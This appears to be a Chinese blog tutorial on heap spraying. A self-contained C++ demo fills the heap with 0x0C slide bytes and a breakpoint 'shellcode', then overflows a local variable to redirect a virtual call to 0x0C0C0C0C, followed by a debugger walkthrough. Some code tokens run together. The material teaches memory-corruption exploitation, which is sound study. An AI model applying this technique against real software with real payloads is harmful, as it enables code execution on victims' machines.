0x00 前言
Heap Spray是一种通过比较巧妙的方式控制堆上数据,继而把程序控制流导向ShellCode的古老艺术。
在shellcode的前面加上大量的slidecode(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
传统slide code(滑板指令)一般是NOP指令,但是随着一些新的攻击技术的出现,逐渐开始使用更多的类NOP指令,譬如0x0C(0x0C0C代表的x86指令是OR AL 0x0C),0x0D等等,不管是NOP还是0C,他们的共同特点就是不会影响shellcode的执行。
Heap Spray只是一种辅助技术,需要结合其他的栈溢出或堆溢出等等各种溢出技术才能发挥作用。
这里以溢出局部变量覆盖对象指针的方式来演示其原理。
0x01 准备
a. 关闭vs2015的优化和securitycheck
0x02 运行
a. 代码
#include"stdafx.h"
#include<windows.h>
#include<stdio.h>
#defineMAGICCODE"000000000000\x0c\x0c\x0c\x0c"
classfactory
{
char m_buf[8];
public:
virtual int factoryCreate1()
{
printf("%s\n", "factoryInit1");
return0;
}
virtual int factoryCreate2()
{
printf("%s\n", "factoryInit2");
return0;
}
};
/*
* 溢出局部变量,并利用HeapSpray执行自定义的shellcode
*/
void spray1()
{
unsignedint bufLen = 0xffffffff;
factory*factoryObj =newfactory;
memcpy(&bufLen, MAGICCODE,sizeof(MAGICCODE)-1);
factoryObj->factoryCreate1();
return;
}
/*
* 申请200M堆空间
*/
void spray0()
{
unsigned int bufLen = 200 * 1024 * 1024;
DWORD dwOld = 0;
char*spray = new char[bufLen];
memset(spray, 0x0c, sizeof(char)*bufLen);
memset(spray + bufLen - 0x10, 0xcc,0x10); //写入自定义的shellcode,即0xcc
VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 设置堆内存可执行代码
return;
}
int main()
{
spray0();
spray1();
return0;
}
b.运行代码
执行spray0(),地址0x0c0c0c0c内容被成功修改
断点下在溢出前
根据ida识别的局部变量,在bufLen后第3个DWORD为factoryObj,中间2个DWORD为垃圾数据,可以覆盖。
验证一下找的factoryObj正确与否,windbg自动识别出了factoryCreate1源码,说明factoryObj是正确的。
F10单步步过执行溢出代码
在执行factoryObj->factoryCreate1()这句时,会解析0x0c0c0c0c0c指向对象的虚表,并尝试执行虚表里第一个虚函数。
第一个虚函数的地址为0x0c0c0c0c, 所以eip会指向0x0c0c0c0c, 开始执行代码,前面slidecode都为or al,0cH(0c0c), 该指令不会影响shellcode,所以代码会一直执行到我们自定义的shellcode,至此目标完成。
0x03 小结
为了绕过操作系统的一些安全保护,使用较多的攻击技术是覆盖虚函数指针(这是一个多级指针),这种情况下,slidecode选取就比较讲究了,如果你依然使用0x90来做slidecode,而用0x0C0C0C0C去覆盖虚函数指针,那么现在的虚表(假虚表)里面全是0x90909090,程序跑到0x90909090(内核空间)去执行,直接就crash了。
结合虚函数,0x0C0C0C0C即作为地址,也作为opcode,体现了漏洞利用的艺术性。
0x04 参考文献
Heap Spray原理浅析 http://blog.csdn.net/magictong/article/details/7391397
演示Heap Spray(堆喷射)的原理 http://blog.csdn.net/lixiangminghate/article/details/53413863